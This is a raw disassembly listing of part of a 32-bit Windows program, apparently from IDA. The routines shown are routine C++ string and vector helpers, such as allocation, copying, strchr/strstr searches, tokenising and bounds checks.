loc_409ABF: ; CODE XREF: sub_409AA0+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409AA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401424j mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43E010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409B10: ; CODE XREF: ___:00402063j ; ___:loc_402171j push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409B28: ; CODE XREF: ___:00409B1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B40 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_4014C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FBE mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_4020F4j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4437F4 push ecx mov dword ptr [esi], offset off_43E010 call sub_5EA1BD nop add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409BC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C30 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43E010 cmp eax, edi jz short loc_409C4C push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C4C: ; CODE XREF: sub_409C30+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409C5F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C5F: ; CODE XREF: sub_409C30+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409C30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C80 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409CEA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409CAA push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409CAA: ; CODE XREF: sub_409C80+1Fj lea ebx, [ebp+2] push ebx call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0A9E89052h, 837783DDh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409CEA: ; CODE XREF: sub_409C80+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409C80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D20 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_409D20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409D50: ; CODE XREF: ___:00401A46j mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4437F4 push ecx nop call sub_5EA1BD add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015D7 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DA0 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409E2F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409E2F: ; CODE XREF: sub_409DA0+84j mov [ebx+9], ebp loc_409E32: ; CODE XREF: sub_409DA0+Cj ; sub_409DA0+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409DA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E70 proc near ; CODE XREF: sub_4016BDj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401A9B pop esi retn 4 sub_409E70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EA0 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx nop call sub_5EA1BD add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401A9B pop esi add esp, 10h retn 4 sub_409EA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EF0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409F07 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F07: ; CODE XREF: sub_409EF0+7j mov eax, [ecx+9] push ebx loc_409F0B: ; CODE XREF: sub_409EF0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_409F36 test cl, cl jz short loc_409F2F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_409F36 add eax, 2 add esi, 2 test cl, cl jnz short loc_409F0B loc_409F2F: ; CODE XREF: sub_409EF0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F36: ; CODE XREF: sub_409EF0+23j ; sub_409EF0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409EF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F60 proc near ; CODE XREF: sub_401B72j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409F60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F90 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_409FA3 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_409FA3: ; CODE XREF: sub_409F90+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_409F90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4021ADj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A000 proc near ; CODE XREF: sub_401CBCj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A013 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A013: ; CODE XREF: sub_40A000+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A000 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A030 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A072 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx call near ptr 77C3FF8Ah nop mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015D7 loc_40A072: ; CODE XREF: sub_40A030+13j add esp, 2000h retn sub_40A030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0A0 proc near ; CODE XREF: sub_401D20j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A0A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0C0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_50FAE0 push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A0E4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A0C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401807 retn 4 sub_40A110 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A130 proc near ; CODE XREF: sub_401807j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402117 pop esi retn 8 sub_40A130 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A160 proc near ; CODE XREF: sub_4013E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402117 retn 4 sub_40A160 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A195 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A195: ; CODE XREF: sub_40A180+Bj mov eax, [esi+9] mov ebx, dword_50FAF8 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A1AF pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1AF: ; CODE XREF: sub_40A180+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A180 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A203 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A203: ; CODE XREF: sub_40A1F0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A216 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A216: ; CODE XREF: sub_40A1F0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_4367FA sub_40A1F0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A270 proc near ; CODE XREF: sub_4013D9j mov eax, [ecx+11h] retn sub_40A270 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A290 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A290 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A2E2 mov esi, [esp+34h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_40A290+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_401424 mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_4367FA sub_40A290 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015D7 push ebx call sub_4367E2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014C9 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013D9 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A3C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A400: ; CODE XREF: ___:0040193Dj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_4020F4 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A430 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A471 mov esi, [esp+44h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 jmp loc_40A5A4 ; --------------------------------------------------------------------------- loc_40A471: ; CODE XREF: sub_40A430+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_401690 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401861 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014D3 mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A555 push ebx loc_40A4B1: ; CODE XREF: sub_40A430+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A4C0 loc_40A4B7: ; CODE XREF: sub_40A430+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A4B7 loc_40A4C0: ; CODE XREF: sub_40A430+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A4CF inc eax mov [esp+48h+var_3C], eax loc_40A4CF: ; CODE XREF: sub_40A430+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401988 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A51F test cl, cl jz short loc_40A507 loc_40A4EB: ; CODE XREF: sub_40A430+D5j cmp cl, 22h jnz short loc_40A4FC mov cl, [eax+1] cmp cl, 20h jz short loc_40A507 test cl, cl jz short loc_40A507 loc_40A4FC: ; CODE XREF: sub_40A430+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A4EB loc_40A507: ; CODE XREF: sub_40A430+B9j ; sub_40A430+C6j ... cmp byte ptr [eax], 0 jz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A54A add eax, 2 jmp short loc_40A546 ; --------------------------------------------------------------------------- loc_40A51F: ; CODE XREF: sub_40A430+B5j test cl, cl jz short loc_40A534 mov dl, [edi] loc_40A525: ; CODE XREF: sub_40A430+102j cmp cl, dl jz short loc_40A534 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A525 loc_40A534: ; CODE XREF: sub_40A430+F1j ; sub_40A430+F7j mov cl, [eax] test cl, cl jz short loc_40A54A cmp cl, [edi] jnz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A546: ; CODE XREF: sub_40A430+EDj mov [esp+48h+var_3C], eax loc_40A54A: ; CODE XREF: sub_40A430+DAj ; sub_40A430+E8j ... mov cl, [eax] test cl, cl jnz loc_40A4B1 pop ebx loc_40A555: ; CODE XREF: sub_40A430+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A56D push offset byte_446F60 jmp short loc_40A57A ; --------------------------------------------------------------------------- loc_40A56D: ; CODE XREF: sub_40A430+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F64 mov eax, [eax] push eax loc_40A57A: ; CODE XREF: sub_40A430+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401861 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_40158C ; --------------------------------------------------------------------------- loc_40A5A4: ; CODE XREF: sub_40A430+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A430 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A630 proc near ; CODE XREF: sub_4016AEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A630 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A670 proc near ; CODE XREF: sub_40200Ej arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_40A670 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6A0 proc near ; CODE XREF: sub_401A87j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 retn 4 sub_40A6A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6C0 proc near ; CODE XREF: sub_40146Fj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A6C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A6E0: ; CODE XREF: ___:0040149Cj mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A700 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A720 proc near ; CODE XREF: sub_4017E4j mov eax, [ecx+9] retn sub_40A720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_4014D3j mov eax, [ecx+9] retn sub_40A740 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A760 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A760 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A790 proc near ; CODE XREF: sub_40158Cj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A790 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A7EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A7EA: ; CODE XREF: sub_40A7E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A810 proc near ; CODE XREF: sub_401F64j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A828 mov ecx, esi call sub_401EE7 loc_40A828: ; CODE XREF: sub_40A810+Fj mov ecx, esi call sub_401D1B lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A810 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A850 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40164F push eax mov ecx, esi call sub_4016EF pop esi retn 4 sub_40A850 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A880 proc near ; CODE XREF: sub_401D1Bj mov eax, [ecx+4] retn sub_40A880 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8A0 proc near ; CODE XREF: sub_40164Fj mov eax, [ecx+8] retn sub_40A8A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4016EFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D1B mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013CF mov ecx, edi call sub_401D1B lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A910 proc near ; CODE XREF: sub_4019A6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40A930 loc_40A921: ; CODE XREF: sub_40A910+1Ej push esi mov ecx, edi call sub_4018B1 add esi, 4 cmp esi, ebx jnz short loc_40A921 loc_40A930: ; CODE XREF: sub_40A910+Fj pop edi pop esi pop ebx retn 8 sub_40A910 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A950: ; CODE XREF: sub_401EE7j push 0FFFFFFFFh push offset loc_438AB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] call near ptr 760A0430h nop lea edx, [esp+14h] push offset dword_43F080 push edx call sub_436832 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A9D0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40A9D0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4013CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AABB mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AA23 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AA25 ; --------------------------------------------------------------------------- loc_40AA23: ; CODE XREF: sub_40A9F0+26j mov ebp, edi loc_40AA25: ; CODE XREF: sub_40A9F0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DCF ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] 